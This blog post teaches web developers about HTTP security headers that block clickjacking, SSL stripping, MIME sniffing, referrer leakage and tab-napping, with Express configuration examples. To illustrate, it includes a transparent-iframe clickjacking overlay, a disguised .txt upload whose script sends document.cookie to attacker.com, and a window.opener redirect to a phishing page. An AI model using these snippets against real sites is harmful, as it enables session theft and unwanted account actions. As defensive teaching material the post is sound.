About Posts Series Contact
Security 22 min read

HTTP Security Headers: Closing the Gaps CSP Doesn't Cover

CSP and CORS get the attention, but five other HTTP response headers each close a specific attack vector that everything else leaves open. This post covers clickjacking, SSL stripping, MIME sniffing, referrer leakage, and cross-origin window access — and the one-line server changes that stop each one.

Honey Sharma

DevForum shipped a one-click account deletion button last week. Settings page, confirmation step, POST to /account/delete. The team tested it thoroughly. The CSRF token is validated. The session cookie is HttpOnly, Secure, and SameSite=Strict.

Forty-eight hours later, three users report their accounts were deleted without their knowledge. No phishing emails. No compromised passwords. No XSS payload in the comment renderer. The session logs show a legitimate POST to /account/delete from each victim’s browser — with a valid session cookie and a valid CSRF token — at a time when the victim was browsing other sites.

The code is not broken. The CSRF protection is not broken. What is broken is a single missing response header that allows any external site to embed DevForum in an invisible iframe — and use the victim’s own mouse click to pull the trigger.


What These Headers Have in Common

The previous posts built defences against specific attack categories: XSS, CSRF, cross-origin data theft, session hijacking. Each one required application code, server-side logic, or careful cookie configuration.

This post is different. The five headers it covers are HTTP response headers — the server sends them, the browser enforces them, and none of your application code is involved in that enforcement. Each header closes a specific attack vector that the previous defences do not address. They are not substitutes for what came before. They are the remaining gaps.

Clickjacking and Frame Control

The Attack

DevForum’s settings page has a “Delete Account” button. It sits in a form protected by a CSRF token. The token is valid — it came from DevForum’s own page.

An attacker builds a page at evil.com. It looks like a sweepstakes: a large “Claim Your Free Month!” button in the centre. Hidden behind it, invisible to the user, is DevForum’s settings page loaded inside a transparent iframe:

/* evil.com's stylesheet */
iframe {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  opacity: 0;           /* invisible */
  z-index: 999;         /* sits on top of everything */
  pointer-events: all;  /* captures all clicks */
}
<!-- evil.com -->
<button class="prize-button">Claim Your Free Month!</button>
<iframe src="https://devforum.com/settings"></iframe>

The iframe is positioned so that DevForum’s “Delete Account” button aligns exactly with the visible prize button. The victim sees the prize button. Their click goes to the iframe.

Clickjacking — The Invisible iframe
Serves page: visible prize button + transparent iframe over devforum.com/settings User sees 'Claim Your Free Month!' and clicks it click registers on the transparent iframe beneath, not the visible buttonPOST /account/delete Cookie: __Host-session=abc123 — CSRF token present from the real DevForum form200 OK — account deleted valid token, valid session — server has no reason to reject evil.com Victim's Browser devforum.com
The browser loaded DevForum's real settings page inside the iframe — including the real CSRF token. The victim's click submitted that real form. Nothing in the request was forged.

Why the CSRF token does not save you here. The iframe loaded DevForum’s settings page. That page contains a real form with a real CSRF token generated by DevForum’s server. When the user clicked, they submitted DevForum’s real form with DevForum’s real token. The server validates the token and finds it correct — because it is. The attack is not a forged request. It is a genuine, fully authenticated request that the victim never knowingly made.

The Defence: X-Frame-Options

X-Frame-Options is a response header that tells the browser whether this page is allowed to be embedded in a <iframe>, <frame>, or <object>. If the policy is violated, the browser refuses to render the embedded page — the iframe loads blank.

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN

DENY — no site may frame this page. An iframe pointing to devforum.com/settings on any origin renders nothing, including DevForum itself.

SAMEORIGIN — only pages on the same origin as devforum.com may frame this page. evil.com’s iframe renders blank. An iframe inside DevForum itself (for an admin preview panel, for example) renders normally.

The Modern Version: CSP frame-ancestors

X-Frame-Options is the legacy header. Content Security Policy’s frame-ancestors directive does the same job with more precision — you control exactly which origins are allowed to embed the page.

Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors 'self' https://admin.devforum.com

frame-ancestors 'none' is equivalent to X-Frame-Options: DENY.

frame-ancestors 'self' is equivalent to SAMEORIGIN.

frame-ancestors 'self' https://admin.devforum.com is something X-Frame-Options cannot express at all — the page can be embedded only by devforum.com itself and by admin.devforum.com, not by any other origin.

frame-ancestors is the right answer for any browser built in the last five years. X-Frame-Options is the fallback for older environments. Set both — the cost is one extra response header.
X-Frame-Options CSP frame-ancestors
SpecificationLegacy — RFC 7034CSP Level 2 — W3C standard
Browser supportUniversal including IE9+All modern browsers; not IE
Allowed valuesDENY or SAMEORIGIN onlyAny origin list; wildcards; 'none'; 'self'
Multiple originsNot supportedSupported — space-separated list
When both presentRespected as fallbackTakes precedence in supporting browsers
Choosing Your Frame Embedding Policy
no — most pages yes yes no yes no Does this page need to be embeddable in an iframe? Embeddable only by your own origin? Embeddable by specific trusted external origins? frame-ancestors 'none' X-Frame-Options: DENY Settings, checkout, auth, account actions frame-ancestors 'self' X-Frame-Options: SAMEORIGIN Admin preview panels, internal dashboards frame-ancestors 'self' https://partner.com X-Frame-Options cannot express this — use CSP only
The correct answer for settings pages, checkout flows, account deletion confirmations, and any authenticated action is always 'none'. Framing should be a deliberate choice, not a default.

Strict-Transport-Security: Enforcing HTTPS at the Browser Level

The previous post covered the Secure cookie flag: the browser only sends a Secure cookie over HTTPS — it is never transmitted over HTTP, even if the user navigates to http:// explicitly.

That guarantee depends entirely on the browser connecting over HTTPS in the first place. What happens before the connection is established? What if the user types http://devforum.com in the address bar? What if a link in an old email points to the HTTP version of the site? What if the network itself intercepts the request before the HTTPS upgrade fires?

The Attack: SSL Stripping

SSL stripping is a network-level attack. An attacker positioned between the victim and the internet — on a public WiFi network, at a compromised router, or at a corporate gateway — intercepts the victim’s initial unencrypted HTTP request before it reaches the server. Rather than forwarding it, they substitute their own HTTP response, silently relaying the real HTTPS connection on the victim’s behalf.

SSL Stripping — Intercepting the HTTP→HTTPS Upgrade
GET http://devforum.com plaintext — sent over unencrypted network before any HTTPS upgradeGET https://devforum.com attacker relays to the real server over HTTPS301 → https://devforum.com (legitimate redirect) 200 OK — served over HTTP attacker strips the redirect, rewrites HTTPS links to HTTP, reads all traffic in plaintextlogin credentials, session tokens, form data — all visible Victim's Browser Attacker (same WiFi) devforum.com
The attacker sits between the browser and devforum.com. The browser's initial HTTP request is plaintext — the attacker intercepts it before devforum.com's HTTPS redirect can arrive and substitutes their own HTTP response.

The Secure flag on the session cookie does not help here. The browser’s previous HTTPS session set the cookie correctly. The attacker is not stealing the cookie through the network — they are relaying the victim’s HTTP session, reading the form submissions and responses that pass through them in plaintext.

The Defence: Strict-Transport-Security

HSTS (HTTP Strict Transport Security) instructs the browser to always use HTTPS for a domain — regardless of what URL was typed, what link was followed, or what redirect was received. The browser enforces this itself, before making any network request. The network never sees an HTTP request at all.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Strict-Transport-Security Header — Every Directive Explained
Strict-Transport-Security
max-age=31536000
includeSubDomains
preload
max-age alone protects returning visitors who have already received the header. includeSubDomains closes the subdomain loophole. preload covers first-time visitors — the one gap max-age cannot address.

X-Content-Type-Options: Stopping MIME Sniffing

The Attack: When the Browser Overrules the Server

DevForum allows users to upload text attachments to posts — changelogs, configuration samples, code snippets. The server stores the file, inspects the extension, and serves it with Content-Type: text/plain. That seems safe.

An attacker uploads a file named changelog.txt with this content:

<!DOCTYPE html>
<html>
<body>
<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: document.cookie
  });
</script>
</body>
</html>

The server sets Content-Type: text/plain — it is a .txt file. The attacker posts a link to it in the comments. A user clicks it. The browser downloads the file, looks at the first bytes, and notices the content starts with <!DOCTYPE html>. It decides the server’s text/plain declaration must be wrong. It re-interprets the file as HTML. The script executes.

This is MIME sniffing — the browser inferring a resource’s content type by inspecting its bytes rather than trusting the server’s Content-Type header. It was introduced as a compatibility mechanism for misconfigured servers. It became a persistent XSS vector.

The Defence

X-Content-Type-Options: nosniff

One header. One directive. No configuration. nosniff tells the browser: trust the Content-Type header exactly as the server sent it. Do not inspect the content. Do not override the declared type.

With nosniff, the attacker’s file is served as text/plain and displayed as raw text in the browser. The <script> tag is never parsed. The attack does not exist.

Referrer-Policy: Controlling What URLs Leak to Third Parties

The Attack: Your URLs Arriving on Someone Else’s Server

DevForum launches a discounted Pro plan. The checkout URL for the offer is:

https://devforum.com/checkout?plan=pro&discount=WELCOME50&ref=email-march

The checkout page loads a third-party analytics script. When that script fires its tracking beacon, the browser attaches the Referer header to the outbound request:

GET /collect HTTP/1.1
Host: analytics.example.com
Referer: https://devforum.com/checkout?plan=pro&discount=WELCOME50&ref=email-march

The analytics provider now has the discount code, the campaign attribution, and a user’s checkout intent — none of which they were intended to receive.

The problem is more serious for authentication-adjacent pages. A password reset page:

https://devforum.com/reset-password?token=a1b2c3d4e5f6g7h8

If that page includes any external resource — an image, a font, an analytics script — the reset token appears in the Referer header of every outbound request that page makes. It lands in server access logs, analytics dashboards, and CDN logs you do not control.

The Referrer-Policy Values

'Origin only' means https://devforum.com — the scheme and host, no path and no query string. 'Full URL' includes the complete path and query parameters, including any tokens or sensitive values.
Policy Same-origin requests Cross-origin (HTTPS → HTTPS) Cross-origin (HTTPS → HTTP)
no-referrerNothing sentNothing sentNothing sent
originOrigin onlyOrigin onlyOrigin only
same-originFull URLNothing sentNothing sent
strict-originOrigin onlyOrigin onlyNothing sent
strict-origin-when-cross-originFull URLOrigin onlyNothing sent
no-referrer-when-downgradeFull URLFull URLNothing sent
unsafe-urlFull URLFull URLFull URL

The recommended default: strict-origin-when-cross-origin.

  • Same-origin requests (DevForum to DevForum’s own API): full URL — internal analytics, navigation tracking, and search still work correctly.
  • Cross-origin HTTPS requests (DevForum’s page to analytics.google.com): origin only — the analytics provider knows the user came from devforum.com, but not which page, not which query parameters, not which tokens.
  • Cross-origin HTTP requests (HTTPS page to an HTTP destination): nothing — no referrer data crosses a protocol downgrade.
Referrer-Policy: strict-origin-when-cross-origin

For routes that specifically handle security-sensitive tokens, apply a stricter policy at the route level:

// Express — per-route override for sensitive endpoints
app.use('/reset-password', (req, res, next) => {
  res.setHeader('Referrer-Policy', 'no-referrer');
  next();
});

app.use('/email-confirm', (req, res, next) => {
  res.setHeader('Referrer-Policy', 'no-referrer');
  next();
});

The URL of a password reset page, an email confirmation page, or a payment callback should never appear in any server’s access log other than your own.

Cross-Origin-Opener-Policy: Severing the Cross-Window Reference

The Problem: window.opener

When a page opens a new tab using window.open(), both the opener and the opened page maintain a scripted reference to each other. The opened page can access window.opener — a live reference to the page that opened it.

DevForum’s account creation flow opens a third-party identity verification service in a new tab:

// devforum.com — opens verification in a new tab
const verifyTab = window.open('https://verify.example.com/start');

The verify.example.com page can now run:

// verify.example.com — accesses the page that opened it
window.opener.location.href = 'https://evil.com/fake-devforum-login';

The original DevForum tab is silently redirected to a phishing page. The user, switching back from the verification tab, sees a login form they don’t remember seeing and enters their credentials. This attack is called tab-napping.

The reverse scenario is equally dangerous. If an attacker tricks DevForum into opening their page via a link in user content, the attacker’s page can access window.opener and navigate the DevForum tab to a fake login page.

Tab-napping — The window.opener Reference
window.open('https://verify.example.com') tab 2 opens — window.opener points back to tab 1window.opener.location = 'https://evil.com/fake-login' verify.example.com redirects the original DevForum tab without user interactionDevForum tab now shows evil.com phishing page user returns to tab 1, sees a login form, enters credentials devforum.com (tab 1) verify.example.com (tab 2) evil.com
The user opened a verification tab and switched away. While they were gone, the verification site silently redirected the original DevForum tab. When the user returns, they see a fake login page.

The Defence

Cross-Origin-Opener-Policy: same-origin

COOP: same-origin places the page in its own isolated browsing context group. Cross-origin windows can no longer hold a reference to this page’s window — window.opener in a cross-origin tab returns null instead of the opener’s window object. The scripted connection is severed before any attack can run.

Three values:

Cross-Origin-Opener-Policy: unsafe-none            # browser default — no isolation
Cross-Origin-Opener-Policy: same-origin-allow-popups # this page can open cross-origin popups; those popups cannot access window.opener back
Cross-Origin-Opener-Policy: same-origin            # full isolation in both directions

For most applications, same-origin is the right setting. The exception: if your authentication flow opens an OAuth provider in a popup and communicates back via window.opener.postMessage(), same-origin will break that flow — the opener reference will be null. Use same-origin-allow-popups in that case, which lets you open cross-origin popups while still preventing inbound window.opener access from those popups.

All Five Headers in One View

DevForum’s hardened response headers for an authenticated page:

DevForum — Complete HTTP Security Header Set
HTTP/1.1 200 OK
Strict-Transport-Security max-age=31536000; includeSubDomains; preload
X-Frame-Options DENY
Content-Security-Policy frame-ancestors 'none'; ...
X-Content-Type-Options nosniff
Referrer-Policy strict-origin-when-cross-origin
Cross-Origin-Opener-Policy same-origin
Each header is independent — each one closes a different attack vector. The browser enforces all of them before any application code runs.

Defence-in-Depth: What Each Header Stops

None of these headers replaces the defences from previous posts — they close the gaps that XSS prevention, CSRF tokens, cookie attributes, and CSP leave open.
Header Attack it stops What it does not cover Where enforced
X-Frame-Options CSP frame-ancestorsClickjacking — victim's click captured by a transparent iframe overlayDoes not prevent CSRF, XSS, or any attack that does not use iframe embeddingBrowser — at iframe load time
Strict-Transport-SecuritySSL stripping — network interception of the HTTP-to-HTTPS upgrade; protocol downgradeDoes not protect if the TLS certificate itself is compromised; does not help if HTTPS is not configured correctlyBrowser — before any network request is sent
X-Content-Type-OptionsMIME sniffing — browser executing uploaded text files as HTML or scriptDoes not prevent XSS through correctly typed content channels; only controls content-type interpretationBrowser — at resource load time
Referrer-PolicyReferrer leakage — sensitive URL components (tokens, discount codes, session hints) sent to third-party serversDoes not prevent other data leakage via cookies, localStorage, or request bodiesBrowser — on every outbound fetch, navigation, and resource request
Cross-Origin-Opener-PolicyTab-napping — cross-origin window.opener scripted access; silent tab redirectionDoes not prevent other cross-origin attacks; may break OAuth popup flows if set to same-origin instead of same-origin-allow-popupsBrowser — at window/tab creation time

Setting All Headers in Express

The easiest approach in production is Helmet — a middleware package that manages all common security headers with sensible defaults:

import helmet from 'helmet';

app.use(helmet());
// Sets X-Content-Type-Options, X-Frame-Options, and several others by default

// Add or override specific headers:
app.use(
  helmet({
    hsts: {
      maxAge: 31536000,
      includeSubDomains: true,
      preload: true,
    },
    referrerPolicy: {
      policy: 'strict-origin-when-cross-origin',
    },
    crossOriginOpenerPolicy: {
      policy: 'same-origin',
    },
    contentSecurityPolicy: {
      directives: {
        frameAncestors: ["'none'"],
        // ... other CSP directives
      },
    },
  })
);

If you prefer explicit control without a third-party library:

// Global security header middleware
app.use((req, res, next) => {
  // Clickjacking
  res.setHeader('X-Frame-Options', 'DENY');
  // HTTPS enforcement
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
  // MIME sniffing
  res.setHeader('X-Content-Type-Options', 'nosniff');
  // Referrer leakage
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
  // Cross-window access
  res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
  next();
});

// Per-route override for sensitive endpoints
app.use('/reset-password', (req, res, next) => {
  res.setHeader('Referrer-Policy', 'no-referrer');
  next();
});

HTTP Security Headers Checklist
Set frame-ancestors 'none' and X-Frame-Options: DENY on every authenticated page

Any page a logged-in user can interact with — settings, checkout, account deletion, admin panels — must not be embeddable. Clickjacking requires no code vulnerability: the only prerequisite is that the page can be loaded in an iframe. Set both headers for full browser coverage. frame-ancestors handles modern browsers; X-Frame-Options handles the rest.

Use frame-ancestors with a specific allowlist when selective embedding is needed

If you intentionally embed your own pages (admin dashboards, preview panels) or partner integrations, frame-ancestors 'self' https://partner.com is the right tool. Do not open to SAMEORIGIN when only a specific subdomain needs access — be precise. X-Frame-Options cannot express per-origin allowlists; use CSP only for this case.

Deploy HSTS with a short max-age first, then increase

HSTS is sticky — browsers enforce the stored policy for max-age seconds even if your server stops sending the header or HTTPS breaks. Start with max-age=3600 while testing. Once you confirm HTTPS works correctly across all subdomains, increase to max-age=31536000 and add preload. Submit to hstspreload.org only after the full max-age is confirmed — removal from the preload list is slow.

Set X-Content-Type-Options: nosniff globally with no exceptions

There is no legitimate use case for MIME sniffing in a modern web application. Apply it once in global middleware. It has no configuration options, no tradeoffs, and no side effects on correctly typed responses.

Override Referrer-Policy to no-referrer on every route that handles tokens or sensitive parameters

strict-origin-when-cross-origin is the right global default. But any route whose URL contains a security-sensitive value — password reset token, email confirmation token, payment callback reference — should override to no-referrer at the route level. That URL must not appear in any access log, analytics system, or CDN cache you do not control.

Test COOP against your OAuth and payment flows before deploying

Cross-Origin-Opener-Policy: same-origin severs window.opener references in both directions. If your authentication flow opens an OAuth provider in a popup and communicates back via window.opener.postMessage(), this setting will break it — the opener reference will be null. Use same-origin-allow-popups when you need to open cross-origin popups while still preventing inbound opener access. Run your full auth and payment flow in staging before deploying to production.

Honey Sharma

Software engineer focused on web engineering, TypeScript, and distributed systems.